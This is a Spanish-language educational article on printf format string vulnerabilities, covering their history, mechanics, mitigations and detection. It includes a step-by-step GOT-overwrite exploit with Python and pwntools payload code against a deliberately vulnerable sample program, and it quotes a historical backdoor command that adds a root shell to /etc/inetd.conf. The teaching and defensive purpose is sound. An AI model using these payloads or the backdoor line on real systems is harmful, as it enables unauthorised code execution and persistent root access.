Format String Vulnerabilities: printf como Arma
Las vulnerabilidades de format string permiten a un atacante leer y escribir memoria arbitraria a través de funciones como printf. Descubiertas en el año 2000, devastaron servidores Unix durante años. Análisis técnico completo con ejemplos en C.
La cadena de texto que lee y escribe memoria
En el año 2000, la comunidad de seguridad descubrió que una de las funciones más básicas de C, printf, podía convertirse en una primitiva de lectura y escritura de memoria arbitraria. No hacía falta desbordar ningún buffer. Bastaba con controlar la cadena de formato que recibía la función.
Las vulnerabilidades de format string son, conceptualmente, una de las clases de bugs más elegantes y devastadoras de la historia de la seguridad informática. Un simple printf(user_input) en lugar de printf("%s", user_input) otorga al atacante la capacidad de inspeccionar la pila, leer memoria de cualquier dirección y escribir valores arbitrarios en ubicaciones de memoria controladas.
Este artículo explica cómo funciona printf internamente, cómo se explotan estas vulnerabilidades paso a paso, la historia de los primeros exploits que sacudieron Internet, y por qué, a pesar de las protecciones modernas, esta clase de bug no ha desaparecido del todo.
Cómo funciona printf por dentro
Para entender la vulnerabilidad hay que entender el mecanismo de printf. En C, las funciones con número variable de argumentos (variadic functions) se implementan mediante el mecanismo va_args.
Cuando un programador escribe:
int count = 42;
char *name = "malware";
printf("Detectados %d IOCs de %s\n", count, name);
El compilador coloca los argumentos en la pila (o en registros, según la convención de llamada de la arquitectura). printf recibe la cadena de formato como primer argumento y luego recorre esa cadena buscando especificadores (marcados con %). Por cada especificador que encuentra, consume el siguiente argumento de la pila.
Los especificadores más comunes:
| Especificador | Función |
|---|---|
%d | Lee un entero de la pila y lo imprime como decimal |
%x | Lee un entero de la pila y lo imprime como hexadecimal |
%s | Lee un puntero de la pila y imprime la cadena apuntada |
%p | Lee un puntero y lo imprime como dirección |
%n | Escribe el número de caracteres impresos hasta ahora en la dirección apuntada por el siguiente argumento |
%c | Lee un byte de la pila y lo imprime como carácter |
El punto crítico: printf no tiene forma de saber cuántos argumentos se le pasaron realmente. Confía ciegamente en que la cadena de formato coincide con los argumentos proporcionados. Si la cadena contiene más especificadores que argumentos reales, printf seguirá leyendo la pila, consumiendo datos que no le pertenecen.
La convención de llamada en x86
En arquitectura x86 (32 bits), los argumentos se pasan en la pila. Esto significa que los datos que printf lee con cada %x son literalmente los siguientes valores en la pila del programa:
[dirección retorno] [cadena formato] [arg1] [arg2] [arg3] ...
↑ ↑ ↑
%x %x %x
Si no hay argumentos reales, printf lee lo que haya en la pila: variables locales, direcciones de retorno, canarios de protección, punteros a funciones. Información que el atacante nunca debería poder ver.
En x86-64, los primeros argumentos van en registros (RDI, RSI, RDX, RCX, R8, R9) y los siguientes en la pila. La mecánica es similar, pero el atacante necesita más especificadores para alcanzar la pila.
El código vulnerable
La vulnerabilidad aparece cuando la entrada del usuario se pasa directamente como cadena de formato:
// VULNERABLE: el usuario controla la cadena de formato
void log_message(char *user_input) {
printf(user_input); // ← aquí está el bug
}
// SEGURO: la entrada del usuario es un argumento, no el formato
void log_message_safe(char *user_input) {
printf("%s", user_input); // ← el formato es constante
}
La diferencia es sutil pero fundamental. En la versión vulnerable, si el usuario envía %x.%x.%x.%x, printf interpreta cada %x como instrucción de leer un valor hexadecimal de la pila. En la versión segura, %s es el formato (constante) y la entrada del usuario se imprime literalmente como cadena de texto.
Otros puntos de entrada comunes en código vulnerable:
// Todas estas son vulnerables si user_input no se valida
fprintf(stderr, user_input);
sprintf(buffer, user_input);
snprintf(buffer, sizeof(buffer), user_input);
syslog(LOG_INFO, user_input); // Frecuente en daemons
Fase 1: Lectura de la pila con %x
El primer paso de la explotación es inspeccionar la pila para entender la distribución de memoria del proceso. El atacante envía una cadena con múltiples especificadores %x (o %p para punteros completos):
Entrada: %x.%x.%x.%x.%x.%x.%x.%x
Salida: bffff4a0.0000000a.080484d0.b7fe2000.bffff4c8.08048530.bffff750.00000001
Cada valor hexadecimal es un dato real de la pila del proceso. El atacante puede identificar:
- Direcciones de retorno: apuntan a secciones
.text(comienzan con0x0804xxxxen ejecutables de 32 bits) - Punteros a la pila: comienzan con
0xbfffo0x7fff(dependiendo de la arquitectura) - Direcciones de libc: comienzan con
0xb7o0x7f(permiten calcular la base de libc) - Canarios de pila: valores aleatorios que delatan protecciones de stack
Acceso directo con el operador $
El operador $ permite al atacante acceder directamente a una posición específica de la pila sin consumir las intermedias:
%7$x → lee el 7.º argumento como hexadecimal
%15$s → lee el 15.º argumento como puntero e imprime la cadena apuntada
%7$n → escribe en la dirección del 7.º argumento
Esto es crucial porque permite al atacante construir payloads precisos sin necesidad de una cadena gigante de %x previos.
Fase 2: Lectura de memoria arbitraria con %s
El especificador %s interpreta el valor en la pila como un puntero y lee la cadena de texto apuntada. Si el atacante puede colocar una dirección específica en la pila, puede leer memoria de cualquier ubicación.
El truco: la propia entrada del usuario está en la pila (como buffer local de la función). Si el atacante incluye una dirección al principio de su input, esa dirección aparecerá en alguna posición de la pila. Combinando esto con %N$s:
// El atacante envía (en binario):
// [dirección 4 bytes] + "%7$s"
// La dirección objetivo aparece en la posición 7 de la pila
// %7$s la interpreta como puntero y lee la cadena en esa dirección
En la práctica, el atacante primero usa %x para localizar su propio input en la pila (busca el patrón 41414141 enviando "AAAA%x.%x.%x..."). Una vez conoce el offset, puede leer cualquier dirección de memoria legible del proceso.
Fase 3: Escritura de memoria arbitraria con %n
El verdadero poder destructivo de las format strings reside en %n. Este especificador escribe el número de caracteres impresos hasta ese punto en la dirección de memoria apuntada por el argumento correspondiente.
Escritura básica
// Ejemplo legítimo de %n
int chars_printed;
printf("Hello%n", &chars_printed);
// chars_printed == 5 (longitud de "Hello")
Explotación: controlando el valor escrito
El atacante controla cuántos caracteres se imprimen usando el especificador de ancho %Nc (imprime N espacios). Combinado con %n:
%100c%7$n → imprime 100 caracteres, luego escribe el valor 100
en la dirección que está en la posición 7 de la pila
Si el atacante ha colocado la dirección de la GOT (Global Offset Table) en la posición 7, acaba de sobrescribir una entrada de la GOT con el valor 100.
Escritura precisa con %hn y %hhn
Escribir un valor grande (como una dirección de 4 bytes 0x08048456) requeriría imprimir más de 134 millones de caracteres. No es práctico. La solución es escribir byte a byte o en fragmentos de 2 bytes:
| Especificador | Bytes escritos |
|---|---|
%n | 4 bytes (int) |
%hn | 2 bytes (short) |
%hhn | 1 byte (char) |
%lln | 8 bytes (long long, x86-64) |
Para escribir la dirección 0x08048456 en la GOT:
Dirección GOT: 0x0804a010
Escritura en dos partes:
Bytes bajos (0x8456) en 0x0804a010 → %33878c%7$hn
Bytes altos (0x0804) en 0x0804a012 → %2048c%8$hn
(ajustando por el conteo acumulado de caracteres)
El payload final contiene las dos direcciones de destino seguidas de los especificadores de formato calibrados. El atacante escribe una dirección completa en la GOT con solo una llamada a printf.
GOT Overwrite: redirigir la ejecución
La Global Offset Table (GOT) es una estructura que los ejecutables con enlace dinámico usan para resolver direcciones de funciones de librerías compartidas. Cuando el programa llama a printf(), en realidad salta a la dirección almacenada en printf@GOT. La primera vez, esta dirección apunta al enlazador dinámico, que resuelve la dirección real y la almacena en la GOT para llamadas posteriores.
La GOT es escribible (a menos que RELRO completo esté activado). Esto convierte la GOT en el objetivo perfecto para un format string attack:
- El atacante identifica la dirección de
printf@GOT(oexit@GOT,puts@GOT) - Usa
%hnpara sobrescribir esa entrada con la dirección desystem()en libc - La próxima vez que el programa llama a
printf(buffer), en realidad ejecutasystem(buffer) - Si el buffer contiene
/bin/sh, el atacante obtiene un shell
# Ejemplo simplificado con pwntools
from pwn import *
elf = ELF('./vulnerable')
libc = ELF('./libc.so.6')
# Calcular dirección de system() en runtime
libc_base = leaked_address - libc.sym['printf']
system_addr = libc_base + libc.sym['system']
# Generar payload que sobrescribe printf@GOT con system()
payload = fmtstr_payload(6, {elf.got['printf']: system_addr})
Bypass de ASLR con format string leaks
ASLR (Address Space Layout Randomization) aleatoriza las direcciones base de la pila, el heap, las librerías compartidas y (con PIE) el propio ejecutable en cada ejecución. Esto dificulta la explotación porque el atacante no sabe dónde están system() o la GOT.
Las format strings proporcionan un bypass natural: el atacante puede filtrar direcciones de la pila que revelan la ubicación de libc u otras regiones de memoria.
El ataque en dos fases:
- Filtración: enviar
%p.%p.%p...para obtener punteros de libc o del ejecutable desde la pila - Cálculo: restar el offset conocido del símbolo filtrado para obtener la base de libc
- Explotación: construir el payload de GOT overwrite con las direcciones reales
Fase 1: Leak
Entrada: %3$p
Salida: 0x7f3a2c4567d0 ← dirección de __libc_start_main+240
Fase 2: Cálculo
libc_base = 0x7f3a2c4567d0 - 0x270b0 (offset conocido)
system = libc_base + 0x4f440
Fase 3: Exploit
Payload con %hn para escribir system en GOT
Este patrón de "leak + calculate + write" es la base de la explotación moderna de format strings y se aplica incluso con ASLR y PIE activados (siempre que la GOT sea escribible).
Historia: el año 2000 y la ola de format strings
Las vulnerabilidades de format string fueron identificadas como clase de bug explotable alrededor del año 2000, aunque el código vulnerable llevaba existiendo años. Los eventos clave:
WuFTPd (CVE-2000-0573, junio de 2000)
Wu-ftpd era el servidor FTP más popular en sistemas Unix y Linux. La función lreply() pasaba entrada del usuario directamente como cadena de formato a funciones de tipo *printf(). Un atacante conectado como usuario anónimo podía ejecutar comandos como root a través del comando SITE EXEC.
El advisory de AUSCERT (AA-2000.02) describió la vulnerabilidad y su gravedad. El bug llevaba en el código base de wu-ftpd desde la versión 2.0, publicada en 1993. Durante siete años, cualquier servidor FTP público con wu-ftpd instalado era explotable de forma remota con privilegios de root.
rpc.statd (CVE-2000-0666, agosto de 2000)
El daemon rpc.statd, incluido por defecto en la mayoría de distribuciones Linux, pasaba datos del usuario directamente a syslog() como cadena de formato. El CERT/CC emitió el advisory CA-2000-17 tras recibir reportes de explotación activa. El exploit permitía ejecución remota de código como root sin ninguna autenticación.
Los logs de sistemas comprometidos mostraban payloads de format string seguidos de comandos como echo 9704 stream tcp nowait root /bin/sh sh -i >> /etc/inetd.conf, que añadían un backdoor al sistema.
GNU screen (septiembre de 2000)
El multiplexor de terminal screen, que se ejecutaba con privilegios setuid root en distribuciones como Red Hat Linux 5.2, permitía al usuario configurar un mensaje de visual bell. Este mensaje se procesaba como cadena de formato en lugar de como cadena literal. Red Hat publicó RHSA-2000:058-03 con la corrección.
La cascada de advisories
Tras estos descubrimientos iniciales, la comunidad de seguridad realizó auditorías masivas de código Unix buscando el patrón printf(user_controlled). El resultado fue una avalancha de CVEs en el segundo semestre de 2000: cfengine, LPRng, glibc locale, Netscape Directory Server, tcsh, stunnel y decenas de programas más contenían format strings vulnerables.
El investigador Tim Newsham publicó el paper "Format String Attacks" (septiembre de 2000) que formalizó la técnica y demostró que %n convertía cualquier format string en una primitiva de escritura de memoria completa. El paper de scut/team teso "Exploiting Format String Vulnerabilities" se convirtió en la referencia técnica definitiva.
¿Por qué son raras hoy?
Las vulnerabilidades de format string pasaron de ser una epidemia en 2000 a ser relativamente raras en software moderno de escritorio y servidor. Las razones:
Warnings del compilador
GCC y Clang emiten warnings cuando detectan que una cadena de formato no es una constante literal:
$ gcc -Wall -Wformat-security vulnerable.c
vulnerable.c:5:5: warning: format not a string literal
and no format arguments [-Wformat-security]
printf(user_input);
^
La flag -Wformat (incluida en -Wall) y -Wformat-security detectan los patrones más evidentes. Muchos proyectos compilan con -Werror que convierte estos warnings en errores de compilación.
FORTIFY_SOURCE
La macro _FORTIFY_SOURCE (niveles 1 y 2) reemplaza las funciones printf de la libc con versiones fortificadas que detectan format strings sin argumentos correspondientes en tiempo de ejecución:
# Compilar con FORTIFY_SOURCE nivel 2
gcc -D_FORTIFY_SOURCE=2 -O2 programa.c -o programa
Con FORTIFY_SOURCE=2, si printf recibe una cadena de formato con especificadores %n y la cadena no es una constante literal del programa, la ejecución se aborta inmediatamente con un mensaje de error. La mayoría de distribuciones Linux modernas activan FORTIFY_SOURCE por defecto.
RELRO (RELocation Read-Only)
Full RELRO hace que la GOT sea de solo lectura tras el enlace dinámico, eliminando el vector de GOT overwrite:
# Compilar con Full RELRO
gcc -Wl,-z,relro,-z,now programa.c -o programa
# Verificar protecciones
checksec --file=programa
RELRO: Full RELRO ← GOT no escribible
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
PIE (Position Independent Executable)
Con PIE activado, ni siquiera el propio ejecutable tiene direcciones fijas. El atacante necesita una filtración para conocer cualquier dirección del espacio de memoria, complicando enormemente la explotación.
Donde sobreviven: IoT y sistemas embebidos
A pesar de las protecciones en software de escritorio, las format strings persisten en nichos donde las protecciones del compilador no se aplican:
Firmware de dispositivos IoT
Los routers, cámaras IP, impresoras de red y dispositivos IoT a menudo se compilan con toolchains cruzadas que no activan -Wformat-security ni FORTIFY_SOURCE. El firmware puede basarse en versiones antiguas de librerías. En 2023 y 2024 se reportaron múltiples CVEs de format string en routers D-Link, firmwares de Zyxel y controladores de dispositivos de red.
Sistemas SCADA/ICS
Los sistemas de control industrial ejecutan software que puede tener décadas de antigüedad, compilado sin protecciones modernas y sin posibilidad de recompilación porque el fabricante ya no existe o el contrato de mantenimiento no cubre actualizaciones de seguridad.
Software embebido en automoción y médico
Los sistemas de infoentretenimiento de vehículos y los dispositivos médicos conectados ejecutan software embebido donde las auditorías de seguridad han revelado format strings vulnerables en interfaces de diagnóstico y protocolos de comunicación.
Código legacy en producción
Aplicaciones empresariales escritas en C/C++ hace 15 o 20 años que siguen en producción sin recompilar. El código fuente puede estar disponible, pero la organización no tiene capacidad ni incentivos para modernizar el build system.
Ejemplo completo de explotación paso a paso
Para consolidar los conceptos, veamos un escenario completo contra un binario de 32 bits sin RELRO, sin PIE y sin ASLR (condiciones de un CTF o de firmware embebido):
// vulnerable.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void secret_shell() {
system("/bin/sh");
}
int main() {
char buffer[256];
while (1) {
printf("Input: ");
fgets(buffer, sizeof(buffer), stdin);
printf(buffer); // ← vulnerabilidad
}
return 0;
}
Paso 1: Localizar nuestro input en la pila
Input: AAAA%x.%x.%x.%x.%x.%x.%x.%x
AAAA.bffff4a0.100.80484d0.b7fe2000.bffff4c8.41414141.252e7825.78252e78
↑
Nuestro "AAAA" en posición 6
El valor 41414141 (hex para "AAAA") aparece en la posición 6.
Paso 2: Obtener direcciones
$ objdump -t vulnerable | grep secret_shell
08048456 g F .text 0000001a secret_shell
$ objdump -R vulnerable | grep exit
0804a010 R_386_JUMP_SLOT exit
Paso 3: Construir el payload
Queremos escribir 0x08048456 (dirección de secret_shell) en 0x0804a010 (exit@GOT):
import struct
exit_got_low = struct.pack("<I", 0x0804a010) # bytes bajos
exit_got_high = struct.pack("<I", 0x0804a012) # bytes altos
# Escribir 0x8456 en bytes bajos (posición 6 de la pila)
# Escribir 0x0804 en bytes altos (posición 7 de la pila)
# 8 bytes de direcciones ya impresos
low_value = 0x8456 - 8 # = 33870
high_value = 0x0804 - 0x8456 # negativo, sumamos 0x10000 = 32686
payload = exit_got_low + exit_got_high
payload += f"%{low_value}c%6$hn".encode()
payload += f"%{high_value}c%7$hn".encode()
Paso 4: Ejecutar
Al enviar el payload, printf sobrescribe exit@GOT con la dirección de secret_shell. Cuando el programa llama a exit() (o cuando el atacante provoca una llamada a exit), la ejecución salta a secret_shell() y se obtiene un shell.
Variantes y técnicas avanzadas
Escritura de ROP chains
En binarios con NX activado (pila no ejecutable), el atacante puede usar format strings para escribir una cadena ROP (Return-Oriented Programming) completa en la pila o en la GOT, encadenando gadgets para lograr ejecución de código.
Format string + heap overflow
En algunos escenarios, la cadena de formato se almacena en el heap. El atacante puede combinar un heap overflow para manipular metadatos de malloc con un format string para escribir direcciones precisas, logrando una primitiva de escritura más potente.
Blind format strings
Cuando el atacante no puede ver la salida de printf (por ejemplo, la salida va a un fichero de log), aún puede explotar la escritura con %n de forma ciega. Conociendo offsets estáticos del binario (sin PIE) y usando técnicas de fuerza bruta parcial para ASLR, la explotación es posible sin feedback visual.
Detección y prevención
Para desarrolladores
- Regla de oro: nunca pasar entrada del usuario como cadena de formato. Siempre usar
printf("%s", input). - Compilar con warnings:
-Wall -Wformat -Wformat-security -Werror - Activar FORTIFY_SOURCE:
-D_FORTIFY_SOURCE=2 -O2 - Full RELRO + PIE:
-Wl,-z,relro,-z,now -fPIE -pie - Auditar funciones variádicas:
printf,sprintf,fprintf,snprintf,syslog,err,warny cualquier wrapper personalizado
Para analistas de seguridad
- Buscar el patrón:
printf(variable)dondevariablees controlable por el usuario - Verificar protecciones del binario:
checksecpara comprobar RELRO, PIE, FORTIFY_SOURCE, NX, canarios - Firmware: desempaquetar con
binwalky auditar llamadas a*printfysyslogen binarios embebidos - Fuzzing: herramientas como AFL++ con un harness que inyecte format specifiers en inputs
Para operadores SOC
Indicadores de un ataque de format string en tráfico de red o logs:
- Cadenas con múltiples
%x,%p,%s,%nen campos de input - Secuencias de bytes no imprimibles seguidas de
%y especificadores - Respuestas del servidor con valores hexadecimales inesperados (filtración de pila)
- Crashes repetidos de servicios que procesan input de texto (syslog, FTP, web)
Relevancia en el mapa ATT&CK
Las format strings se clasifican bajo T1203 (Exploitation for Client Execution) cuando se explotan en aplicaciones cliente, y bajo T1190 (Exploit Public-Facing Application) cuando el objetivo es un servicio de red. La técnica proporciona ejecución de código arbitrario, que el atacante puede usar como punto de entrada para persistencia (T1547), movimiento lateral (T1021) o escalación de privilegios (T1068).
En el contexto de IoT y sistemas embebidos, las format strings son un vector de acceso inicial habitual que los analistas de CTI deben tener en su radar, especialmente en campañas dirigidas a infraestructura de red y dispositivos de perímetro.
Conclusión
Las vulnerabilidades de format string representan uno de los descubrimientos más impactantes en la historia de la seguridad del software. La idea de que una función de impresión de texto pueda convertirse en una primitiva de lectura y escritura de memoria arbitraria es contraintuitiva y, para los estándares de 2000, era devastadora.
Hoy, las protecciones del compilador y del sistema operativo han reducido drásticamente su incidencia en software moderno. Pero el patrón subyacente (confiar en que el usuario proporcionará datos en el formato esperado) es una lección universal que trasciende C y printf. Cada vez que un sistema interpreta datos del usuario como instrucciones (sea una cadena de formato, una query SQL, una plantilla HTML o un comando de shell), existe el riesgo de inyección.
Para el analista de seguridad en 2026, las format strings son relevantes en tres dimensiones: como base conceptual para entender la corrupción de memoria, como vulnerabilidad activa en firmware y sistemas embebidos, y como recordatorio de que las defensas del compilador no sustituyen al código correcto.
Técnicas MITRE ATT&CK referenciadas
Preguntas frecuentes
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.